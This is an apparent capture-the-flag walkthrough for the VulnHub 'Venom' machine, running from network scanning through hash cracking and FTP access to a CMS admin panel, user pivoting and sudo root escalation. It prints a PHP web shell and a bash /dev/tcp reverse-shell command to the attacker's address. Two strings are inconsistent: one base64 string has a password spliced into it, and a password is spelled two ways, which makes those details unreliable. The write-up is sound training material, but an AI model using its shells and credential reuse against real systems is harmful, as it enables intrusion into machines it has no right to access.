Link to VulnHub

Obtaining the target machine's IP address

The first thing we are going to do is try to find out what is the target machine IP. To do this we will use nmap indicating that we want to do a ping scan (-sn) for the entire local network. If we are not logged as the root user it is better to use sudo to get more information about the devices that are in the network:

sudo nmap -sn 10.0.0.1/24

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:15 CET

Nmap scan report for 10.0.0.1
Host is up (0.014s latency).
MAC Address: D8:07:B6:E7:EB:80 (Tp-link Technologies)

Nmap scan report for 10.0.0.101
Host is up (0.00022s latency).
MAC Address: 7C:50:79:8E:CA:DD (Intel Corporate)

Nmap scan report for 10.0.0.102
Host is up (0.0018s latency).
MAC Address: 08:00:27:64:80:00 (Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.0.100
Host is up.

Nmap done: 256 IP addresses (4 hosts up) scanned in 3.93 seconds

Nmap reports that it has detected 4 devices:

• 10.0.0.1: router
• 10.0.0.101: host machine
• 10.0.0.102: target machine
• 10.0.0.100: attacker machine

The next thing we are going to do is add the IP of the target machine to our /etc/hosts. In this way we don't need to remember the IP and we can use the name we give it. We edit the /etc/hosts file and we add the following line at the end of it:

10.0.0.102 venom1.ctf

Now if do a ping venom1.ctf -c 1 we should get the following response:

PING venom1.ctf (10.0.0.102) 56(84) bytes of data.
64 bytes from venom1.ctf (10.0.0.102): icmp_seq=1 ttl=64 time=0.570 ms

--- venom1.ctf ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.570/0.570/0.570/0.000 ms

This confirms that it correctly resolves the hostname we have assigned to it.

Port scanning

Once we have the IP of the target machine, what we are going to do is to try to detect the open ports. To do this we are going to launch another nmap scan against the entire port range (-p-) using the fastest timing template (-T5), filtering by the open ports (--open), and disabling DNS resolution (-n) and host discovery (-Pn):

nmap -p- -T5 --open -Pn -n venom1.ctf

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:34 CET
Nmap scan report for venom1.ctf (10.0.0.102)
Host is up (0.0011s latency).
Not shown: 65455 filtered tcp ports (no-response), 74 filtered tcp ports (host-unreach), 3 closed tcp ports (conn-refused)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 72.37 seconds

From this scan we find that we have the following ports open: 21 (FTP), 80 (HTTP), and 443 (HTTPS). Knowing that these ports are open, the next thing we are going to do is try to detect which services are being exposed and their versions (-sCV):

nmap -p 21,80,443 -sCV venom1.ctf

Result:

Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-18 08:40 CET
Nmap scan report for venom1.ctf (10.0.0.102)
Host is up (0.00031s latency).

PORT    STATE SERVICE VERSION
21/tcp  open  ftp     vsftpd 3.0.3
80/tcp  open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
443/tcp open  http    Apache httpd 2.4.29
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: Host: 127.0.1.1; OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.44 seconds

From the result of this more detailed scan we obtain the following:

• 21/tcp: FTP - vsftpd 3.0.3
• 80/tcp: HTTP - Apache httpd 2.4.29 ((Ubuntu))
• 443/tcp: HTTP - Apache httpd 2.4.29

Something is happening here that can lead us to error. Although port 443 is open (which would correspond to HTTPS), there is currently an HTTP service on it, so if we try to access it with https:// it would not work.

HTTP services analysis (80,443/TCP)

Since the port scan has indicated that ports 80 and 443 are open and have an HTTP service exposed, the first thing we are going to do is to see what is being exposed in the root path. If we access to http://venom1.ctf/ and http://venom1.ctf:443/ we can see that this is the default Apache page (as nmap had already indicated). However, if we go to the bottom of the page we find the following:

<!...<5f2a66f947fa5690c26506f66bde5c23>
follow this to get access on somewhere.....-->

That hash appears to be a md5 hash. Let's try to crack that hash using John the Ripper. To do this we save the hash in a file (md5.txt) and then run john specifying the type of hash (Raw-MD5) and using a password dictionary (--wordlist):

john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt md5.txt

Result:

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=4
Press 'q' or Ctrl-C to abort, almost any other key for status
hostinger        (?)
1g 0:00:00:00 DONE (2023-03-18 10:58) 2.439g/s 18395Kp/s 18395Kc/s 18395KC/s hot042..hostile33
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed

The result of the hash cracking reveals that the hidden content was the following string:

• hostinger

If we try to list directories we do not find anything relevant, not even using the string we found. Maybe that string is a password and/or user, so we can do some testing via FTP since that service was also exposed.

FTP service analysis (21/TCP)

Since we have not found anything by parsing the HTTP services beyond the string hostinger, the next thing we can do is to check if that string is a valid user or a valid credential of the root user or the hostinger user itself. Using as user and password hostinger we succeed in connecting:

ftp venom1.ctf

Result:

Connected to venom1.ctf.
220 (vsFTPd 3.0.3)
Name (venom1.ctf:parrot): hostinger
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

If we investigate the resources we have accessible via FTP we find that there is a file files/hint.txt. We bring it to the attacking machine and see the contents:

Hey there...

T0D0 --

* You need to follow the 'hostinger' on WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= also aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI=
* some knowledge of cipher is required to decode the dora password..
* try on venom.box
password -- L7f9l8@J#p%Ue+Q1234 -> deocode this you will get the administrator password


Have fun .. :)

Here we have several interesting things. We have 2 strings that appear to be base64 encoded, so let's try decoding them using (echo -n [b64_string] | base64 -d; echo):

• WXpOU2FHSnRVbWhqYlZGblpHMXNibHBYTld4amJWVm5XVEpzZDJGSFZuaz0= -> YzNSaGJtUmhjbVFnZG1sblpXNWxjbVVE7r9t8@Q#h%Hy+M1234nWTJsd2FHVnk= -> c3RhbmRhcmQgdmlnZW5lcmUgY2lwaGVy -> standard vigenere cipher
• aHR0cHM6Ly9jcnlwdGlpLmNvbS9waXBlcy92aWdlbmVyZS1jaXBoZXI= -> https://cryptii.com/pipes/vigenere-cipher

On the other hand, it also tells us to try accessing using the hostname venom.box, so it may be using virtual hosting. We add that host to our /etc/hosts and try to access the page. When doing so we see that we load a page created with Subrion CMS. If we browse the web we see that we can get to an administration panel located at http://venom.box/panel/ for which we have no credentials.

Following the clue that we were given and trying different combinations we ended up finding the one that allows us to access the admin panel:

• user: dora
• password: E7r9t8@Q#h%Hy+M1234

To obtain the password we have to do the following in https://cryptii.com/pipes/vigenere-cipher:

1. Set as Ciphertext: L7f9l8@J#p%Ue+Q1234.
2. Change the second box to DECODE.
3. In VARIANT set standard vigenere cipher.
4. In KEY type hostinger.

Gaining access to the target machine

Since we have access to the administration panel and there is a section where you can upload files, let's try to upload our own PHP shell. We create on our machine a PHP script with .phar extension (cmd.phar) with the following content:

<?php
  system($_GET['cmd']);
?>

Then we try to upload it from the administration panel and we try to put in the browser the following:

http://venom.box/uploads/cmd.phar?cmd=id

Result:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now that we have Remote Command Execution (RCE) on the target machine, the next thing we can do is try to set up a reverse shell to be able to work more comfortably. The first thing we do is to listen in on our machine using Netcat:

nc -nlvp 8888

Receiving the message confirming that we are listening:

listening on [any] 8888 ...

Then, through the shell that we have uploaded to the server we execute a command to establish a connection to our Netcat (/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.100/8888 0>&1'). To do this we do a url encode of the command and pass it through the cmd parameter of the url http://venom.box/uploads/cmd.phar?cmd=/bin/bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/10.0.0.100/8888%200%3E%261%27 obtaining the following result:

connect to [10.0.0.100] from (UNKNOWN) [10.0.0.102] 55536
www-data@venom:/var/www/html/subrion/uploads$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Now, in order to have a fully interactive shell, we launch a pseudo console with script /dev/null -c bash, press Ctrl + z and do a tty treatment with stty raw -echo; fg. We type reset to restart the terminal configuration, type xterm as terminal type and export 2 environment variables:

• export TERM=xterm
• export SHELL=bash

With this we should be able to do Ctrl + c to end the execution of a command, or Ctrl + l to clear the terminal. We can also go back in the command history.

If we investigate a little in /etc/passwd we see that we have two users in the system in addition to the root user:

• hostinger: which we already knew.
• nathan: new user

Pivoting to the hostinger user

As we have connected to that user via FTP before we already know that both the username and password is hostinger, so we make su hostinger and switch to that user.

Once this is done we can check that in your home (/home/hostinger) we can find the ftp directory where we found the hint.txt file before.

Pivoting to user nathan

If we investigate the .bash_history of the user hostinger we see that, apart from changing the user to nathan several times, he has a backup of the .htaccess in /var/www/html/subrion/backup/.htaccess. If we show the content we see the following:

allow from all
You_will_be_happy_now :)
FzN+f2-rRaBgvALzj*Rk#_JJYfg8XfKhxqB82x_a

The last line of that file may be a password, so we test it against the user nathan to see if it is correct. We make your nathan and put as password FzN+f2-rRaBgvALzj*Rk#_JJJYfg8XfKhxqB82x_a. We check that it is correct so we already have a way to pivot to this user.

If we list the contents of the home directory of the user nathan /home/nathan we find the first flag (user.txt): W3_@r3_V3n0m:P.

Gaining root access

The first thing we can do is to see what privileges the user nathan has, so we run sudo -l::

Matching Defaults entries for nathan on venom:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nathan may run the following commands on venom:
    (root) ALL, !/bin/su
    (root) ALL, !/bin/su

In principle we can run as root all binaries except the /bin/su binary, so we can try to open a bash as the root user:

sudo /bin/bash

Result:

root@venom:~# whoami
root

So with this we would already have access as root to the target machine.

If we list the contents of the home directory of the user root /root we find the second flag (root.txt): #root_flag H@v3_a_n1c3_l1fe..